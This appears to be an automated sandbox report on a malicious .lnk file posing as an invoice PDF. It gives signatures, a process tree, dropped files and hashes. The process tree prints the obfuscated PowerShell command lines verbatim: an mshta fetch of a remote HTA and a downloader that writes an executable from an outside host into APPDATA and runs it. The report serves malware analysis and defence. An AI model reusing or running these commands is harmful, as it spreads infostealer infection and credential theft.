Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2024, 02:35

General

  • Target
    Rechnung_2024_0091.pdf.lnk
  • Size 3KB
  • Sample241115-c2575s1lar
  • SHA256 0d6049a23bc24a385997c0514ffc22a9c0c9ba681d1cac2f6cb5013bafeefe4f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 24 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Start PowerShell.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0091.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $a='48aAs.69edS3b/:15u2vtmrpL0-7h'; &(-join($a[(-648+652),(169-167),(990-966)])) ^[ (-join($a[(-648+652),(169-167),(990-966)])); ^[ /# (-join($a[(-476+497),(-648+652),(-158+186),(-824+844),(169-167)])); foreach($z in @((-105+133),(-426+446),(575-555),(173-150),(-217+221),(-509+523),(524-511),(711-698),(210-187),(-471+488),(-724+736),(-668+694),(-606+622),(-351+363),(906-899),(-719+737),(899-881),(166-155),(387-375),(-188+203),(-604+616),(783-776),(-378+386),(775-748),(660-660),(995-993),(803-776),(-863+888),(-920+932),(333-325),(994-976),(559-541),(700-698),(835-810),(-958+959),(425-410),(-411+417),(686-684),(-963+964),(569-557),(934-907),(861-853),(-724+726),(950-941),(494-489),(-470+492),(-789+807),(805-800),(-232+241),(-603+611),(1008-989),(-242+255),(-653+668),(-705+723),(580-569),(-536+541),(986-958),(736-716),(-368+370))){$m+=$a[$z]}; /# $m;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hQzEzFacg($guorUJ, $OIoEigYq){[IO.File]::WriteAllBytes($guorUJ, $OIoEigYq)};function uuuOHRemK($guorUJ){if($guorUJ.EndsWith((ijnaJnaV @(5036,5090,5098,5098))) -eq $True){Start-Process (ijnaJnaV @(5104,5107,5100,5090,5098,5098,5041,5040,5036,5091,5110,5091)) $guorUJ}else{Start-Process $guorUJ}};function xlptFHdqR($FSYzd){$EBqZdo = New-Object (ijnaJnaV @(5068,5091,5106,5036,5077,5091,5088,5057,5098,5095,5091,5100,5106));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OIoEigYq = $EBqZdo.DownloadData($FSYzd);return $OIoEigYq};function ijnaJnaV($UxikGUX){$MKUYRJP=4990;$VRwScE=$Null;foreach($NymBWJi in $UxikGUX){$VRwScE+=[char]($NymBWJi-$MKUYRJP)};return $VRwScE};function TQiKbyGz(){$vXhNEzkB = $env:APPDATA + '\';$WRrNymqB = xlptFHdqR (ijnaJnaV @(5094,5106,5106,5102,5105,5048,5037,5037,5102,5107,5088,5035,5043,5088,5047,5040,5040,5041,5088,5039,5088,5047,5091,5045,5042,5087,5045,5038,5088,5091,5040,5040,5087,5038,5046,5039,5044,5087,5046,5088,5045,5091,5087,5090,5036,5104,5040,5036,5090,5091,5108,5037,5059,5078,5056,5072,5072,5076,5071,5074,5036,5091,5110,5091));$AvKehPB = $vXhNEzkB + 'EXBRRVQT.exe';hQzEzFacg $AvKehPB $WRrNymqB;uuuOHRemK $AvKehPB;;;;}TQiKbyGz;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1252
          • C:\Users\Admin\AppData\Roaming\EXBRRVQT.exe
            "C:\Users\Admin\AppData\Roaming\EXBRRVQT.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows\Temp\{6034CDCE-769F-4FB1-99E6-1F358C921F97}\.cr\EXBRRVQT.exe
              "C:\Windows\Temp\{6034CDCE-769F-4FB1-99E6-1F358C921F97}\.cr\EXBRRVQT.exe" -burn.clean.room="C:\Users\Admin\AppData\Roaming\EXBRRVQT.exe" -burn.filehandle.attached=540 -burn.filehandle.self=548
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4560
              • C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\ActiveISO.exe
                "C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\ActiveISO.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1856
                • C:\Users\Admin\AppData\Roaming\MonitorBrowser2\ActiveISO.exe
                  C:\Users\Admin\AppData\Roaming\MonitorBrowser2\ActiveISO.exe
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:1708
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\SysWOW64\cmd.exe
                    9⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of WriteProcessMemory
                    PID:1720
                    • C:\Users\Admin\AppData\Local\Temp\UploadAlt_Ti.exe
                      C:\Users\Admin\AppData\Local\Temp\UploadAlt_Ti.exe
                      10⤵
                      • Loads dropped DLL
                      • Accesses Microsoft Outlook profiles
                      • Suspicious behavior: EnumeratesProcesses
                      • outlook_office_path
                      PID:2488
  • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
    1⤵
      PID:1160

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 258ea4ccbc181f6b86d3a819981d9cf526950f1aa7517b12cda14b856aad8c90
          • MD5 SHA1 SHA512

          934678c0

          • Path C:\Users\Admin\AppData\Local\Temp\934678c0
          • Size 5.4MB
          • SHA256 bb04ad6f44333095ae0b1fa522b7df9b406b3e94f86526300401277898c109f4
          • MD5 SHA1 SHA512 SSDEEP

          UploadAlt_Ti.exe

          • Path C:\Users\Admin\AppData\Local\Temp\UploadAlt_Ti.exe
          • Size 2.3MB
          • SHA256 b22bf1210b5fd173a210ebfa9092390aa0513c41e1914cbe161eb547f049ef91
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_vgzrzdzl.b5w.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vgzrzdzl.b5w.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          EXBRRVQT.exe

          • Path C:\Users\Admin\AppData\Roaming\EXBRRVQT.exe
          • Size 13.8MB
          • SHA256 baa56e574d8deed445d0e58487add9d429d60bbb1b39943c581bcf50e9bd91d6
          • MD5 SHA1 SHA512 SSDEEP

          ActiveISO.exe

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\ActiveISO.exe
          • Size 1.2MB
          • SHA256 588cb61b36a001384a2833bd5df8d7982ca79d6ae17a3d83a94e01b1e79684bd
          • MD5 SHA1 SHA512 SSDEEP

          Helicoid.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Helicoid.dll
          • Size 179KB
          • SHA256 63f5a34563b62de3dffa57401d7225f4687933cef250b78b995eee813c862fad
          • MD5 SHA1 SHA512 SSDEEP

          Qt5Core.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Qt5Core.dll
          • Size 5.8MB
          • SHA256 d751ab0357f71586b1793ce4166295aba085334647d6e3ffcd49287a801273e7
          • MD5 SHA1 SHA512 SSDEEP

          Qt5Gui.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Qt5Gui.dll
          • Size 6.2MB
          • SHA256 ca8334b2e63bc01f0749afeb9e87943c29882131efe58608ea25732961b2df34
          • MD5 SHA1 SHA512 SSDEEP

          Qt5Network.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Qt5Network.dll
          • Size 1.3MB
          • SHA256 d992aaeb21cb567113126c2912cf75e892c8e3ead5d50147a11abe704b9e2e2b
          • MD5 SHA1 SHA512 SSDEEP

          Qt5PrintSupport.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Qt5PrintSupport.dll
          • Size 316KB
          • SHA256 7d91d3d341dbba568e2d19382e9d58a42a0d78064c3ad7adfe3c7bb14742c2b1
          • MD5 SHA1 SHA512 SSDEEP

          Qt5Widgets.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\Qt5Widgets.dll
          • Size 5.3MB
          • SHA256 4266918226c680789d49cf2407a7fec012b0ed872adafb84c7719e645f9b2e6d
          • MD5 SHA1 SHA512 SSDEEP

          StarBurn.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\StarBurn.dll
          • Size 1.4MB
          • SHA256 c040a25377028b0c28db81a012de786c803a0e9d6f87ce460335a621d31f5340
          • MD5 SHA1 SHA512 SSDEEP

          VCRUNTIME140.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\VCRUNTIME140.dll
          • Size 96KB
          • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
          • MD5 SHA1 SHA512 SSDEEP

          dcfa

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\dcfa
          • Size 4.3MB
          • SHA256 a7e578d0f7a5d522e4b4e62864f77cbb1830dc7e7026c9ee0b5f6fa7156c727f
          • MD5 SHA1 SHA512 SSDEEP

          msvcp140.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\msvcp140.dll
          • Size 557KB
          • SHA256 72fe4598f0b75d31ce2dc621e8ef161338c6450bb017cd06895745690603729e
          • MD5 SHA1 SHA512 SSDEEP

          vcruntime140_1.dll

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\vcruntime140_1.dll
          • Size 37KB
          • SHA256 1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e
          • MD5 SHA1 SHA512 SSDEEP

          vechpt

          • Path C:\Windows\Temp\{57DDCB89-BE76-4A88-B70E-F3ED05FFA900}\.ba\vechpt
          • Size 15KB
          • SHA256 a818d6fa8caddaa608345ea40b75073a7c98637161794918566e2ddeeede47e7
          • MD5 SHA1 SHA512 SSDEEP

          EXBRRVQT.exe

          • Path C:\Windows\Temp\{6034CDCE-769F-4FB1-99E6-1F358C921F97}\.cr\EXBRRVQT.exe
          • Size 13.7MB
          • SHA256 70721a20760818839c7ef0ce2d684666bd07bbb79b87415944c6efbce58f7906
          • MD5 SHA1 SHA512 SSDEEP

          memory/1708-134-0x00007FFB26850000-0x00007FFB269C2000-memory.dmp

          memory/1708-130-0x00007FFB27600000-0x00007FFB27B4E000-memory.dmp

          memory/1708-133-0x00007FFB26850000-0x00007FFB269C2000-memory.dmp

          memory/1720-140-0x0000000075940000-0x0000000075ABB000-memory.dmp

          memory/1720-137-0x00007FFB463F0000-0x00007FFB465E5000-memory.dmp

          memory/1856-89-0x00007FFB27600000-0x00007FFB27B4E000-memory.dmp

          memory/1856-92-0x00007FFB26850000-0x00007FFB269C2000-memory.dmp

          memory/2488-147-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/2488-148-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/2488-150-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/2488-155-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/2488-156-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/2488-161-0x00007FF72F080000-0x00007FF72F366000-memory.dmp

          memory/4808-13-0x00007FFB27EC0000-0x00007FFB28981000-memory.dmp

          memory/4808-14-0x00007FFB27EC0000-0x00007FFB28981000-memory.dmp

          memory/4808-17-0x00007FFB27EC0000-0x00007FFB28981000-memory.dmp

          memory/4808-12-0x00000257ED800000-0x00000257ED822000-memory.dmp

          memory/4808-2-0x00007FFB27EC3000-0x00007FFB27EC5000-memory.dmp